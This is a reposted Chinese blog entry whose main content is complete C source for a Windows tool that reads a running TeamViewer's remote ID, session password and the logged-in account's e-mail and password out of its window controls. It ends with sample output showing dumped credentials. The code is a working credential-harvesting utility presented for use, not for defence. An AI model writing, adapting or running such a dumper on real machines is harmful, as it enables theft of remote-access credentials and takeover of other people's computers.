• <转载>获取运行中的TeamViewer的账号和密码


    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <iostream>
    #pragma comment( lib, "kernel32" )
    #pragma comment( lib, "user32" )
     
    int status = 0;
     
    BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
    {
            const int BufferSize = 1024;
            char BufferContent[BufferSize] = "";
            SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
           
            if (status == 1)
            {
                    printf("%s
    ", BufferContent);
                    status = 0;
            }
     
            if (strstr(BufferContent, "Allow Remote Control") != NULL)
            {
                    status = 1;
                    printf("TeamViewer ID: ");
            }
           
            if (strstr(BufferContent, "Please tell your partner") != NULL)
            {
                    status = 1;
                    printf("TeamViewer PASS: ");
            }
     
            return 1;
    }
     
    BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
    {
            const int BufferSize = 1024;
            char BufferContent[BufferSize] = "";
            SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
           
            if (status == 1)
            {
                    printf("%s
    ", BufferContent);
                    status = 0;
            }
     
            if (strstr(BufferContent, "E-mail") != NULL)
            {
                    status = 1;
                    printf("E-mail: ");
            }
           
            if (strstr(BufferContent, "Password") != NULL)
            {
                    status = 1;
                    printf("Password: ");
            }
     
            return 1;
    }
     
     
    int main()
    {
            HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
     
            if (hwndTeamViewer)
            {
                    EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
            }
           
           
            HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");
     
            if (hwndAccount)
            {
                    EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
            }
     
           
            return 0;
    }
    

    C:toolsProjects>TeamViewer_Dump.exe

    TeamViewer ID: 606 151 261
    TeamViewer PASS: 3239
    E-mail: hacked@account.com
    Password: FooPassword123
  • 相关阅读:
    《软件方法》读书笔记2
    《代码阅读方法与实践》读书笔记3
    课堂讨论记录
    《代码阅读方法与实践》读书笔记2
    [洛谷] P1948 [USACO08JAN]Telephone Lines S(二分+SPFA)
    2020 CCPC秦皇岛 正式赛题解
    [洛谷] P3146 [USACO16OPEN]248 G (区间DP)
    [进阶指南] 最大子序和
    [训练] 图的K步移动最大收获
    [计蒜客] 受力平衡(组合数学 + 乘法逆元)
  • 原文地址:https://www.cnblogs.com/killbit/p/4797549.html
Copyright © 2020-2023  润新知